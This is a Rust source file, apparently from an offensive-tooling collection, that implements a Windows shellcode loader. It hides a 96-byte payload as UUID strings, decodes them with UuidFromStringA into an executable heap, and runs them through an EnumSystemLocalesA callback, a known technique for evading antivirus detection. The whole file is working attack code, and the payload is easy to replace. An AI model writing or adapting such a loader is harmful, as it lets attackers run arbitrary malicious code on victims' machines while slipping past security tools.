/*
    UUID Shellcode Execution
    @5mukx
*/

use std::{ffi::c_void, mem::transmute};

use windows::{
    Win32::Foundation::HANDLE,
    Win32::{
        Foundation::{CloseHandle, GetLastError},
        Globalization::{EnumSystemLocalesA, LOCALE_ENUMPROCA},
        System::{
            Memory::{HEAP_CREATE_ENABLE_EXECUTE, HEAP_FLAGS, HeapAlloc, HeapCreate},
            Rpc::{RPC_STATUS, UuidFromStringA},
        },
    },
    core::{GUID, PCSTR, Result},
};

#[macro_export]
macro_rules! s {
    ($s:literal) => {
        $crate::PCSTR::from_raw(::core::concat!($s, '\0').as_ptr())
    };
}

fn main() -> Result<()> {
    let size = 96;
    let codes = [
        "685a606a-6163-636c-5459-4829d465488b",
        "768b4832-4818-768b-1048-ad488b30488b",
        "5703307e-8b3c-175c-288b-741f204801fe",
        "241f548b-b70f-172c-8d52-02ad813c0757",
        "75456e69-8bef-1f74-1c48-01fe8b34ae48",
        "ff99f701-00d7-0000-0000-000000000000",
    ];

    unsafe {
        let heap = HeapCreate(HEAP_CREATE_ENABLE_EXECUTE, 0, 0)?;

        if heap.is_invalid() {
            println!("[-] HeapCreate Invalid");

            return Err(GetLastError().into());
        }

        let heap_addr = HeapAlloc(heap, HEAP_FLAGS(0), size + 0x100);

        if heap_addr.is_null() {
            println!("[-] Heap Alloc Error !");

            return Err(GetLastError().into());
        }

        let mut ptr_addr = heap_addr as usize;

        for i in 0..codes.len() {
            let null_c_str = format!("{}\0", codes[i]);
            let cstr = PCSTR::from_raw(null_c_str.as_bytes().as_ptr());

            let status = UuidFromStringA(cstr, ptr_addr as *mut GUID);

            if status != RPC_STATUS(0) {
                if status == RPC_STATUS(1705) {
                    println!("[-] Invalid UUID String Detected at {:?}", cstr);
                    std::process::exit(0x1);
                } else {
                    println!("[-] Something Went Wrong, Error Code: {:?}", status);
                }
            }

            ptr_addr += 16;
        }

        println!(
            "[+] Shellcode is successfully placed between {:x?} and {:x?}",
            heap_addr, ptr_addr
        );

        EnumSystemLocalesA(transmute::<*mut c_void, LOCALE_ENUMPROCA>(heap_addr), 0)?;

        CloseHandle(HANDLE(heap_addr))?;

        Ok(())
    }
}
